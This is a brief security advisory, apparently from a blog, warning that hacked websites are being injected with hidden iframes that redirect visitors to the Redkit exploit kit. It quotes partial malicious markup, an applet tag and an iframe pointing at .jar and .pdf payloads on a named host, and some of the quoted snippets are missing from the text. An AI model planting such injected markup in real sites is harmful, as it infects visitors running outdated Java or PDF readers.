A New batch of compromised sites are being infected with hidden iframes leading to the Redkit exploit kit. A site gets hacked and an iframe similar to this one is added::
Once that is loaded into the browser, it redirects anyone visiting the site to:
Where it tries to make the browser load some malicious PDFs or Jar files:
<applet archive="http://orcasp.com.br/33256.jar".. <iframe src="http://orcasp.com.br/98765.pdf"..
And if you are running an outdated version of Java or Adobe PDF, your personal computer would get compromised as well.